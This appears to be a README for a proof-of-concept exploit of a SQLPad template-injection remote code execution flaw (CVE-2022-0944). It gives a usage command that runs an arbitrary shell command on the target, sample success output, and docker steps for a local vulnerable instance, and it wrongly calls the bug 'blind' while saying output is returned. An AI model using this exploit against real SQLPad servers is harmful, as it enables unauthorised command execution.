
SQLPad - Template injection (POC exploit for SQLPad RCE [CVE-2022-0944])
SQLPad - Template injection
This is a blind vulnerability, meaning that the output is directly returned in the response.
Use the script with the following command:
python3 exploit.py --url http://localhost:13000 --command 'ls -la > /tmp/test' --username admin --password password
[*] Login was successfull
[*] Exploited!
Using docker:
sudo docker run -p 13000:3000 -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=password --name vulnerable-sqlpad sqlpad/sqlpad:6.10.0sudo docker exec -it vulnerable-sqlpad /bin/bashTo access the web interface, use URL http://localhost:13000 with credentials admin:password.
<= 6.10.0
https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb
Use only for educational purposes or CTF challenges.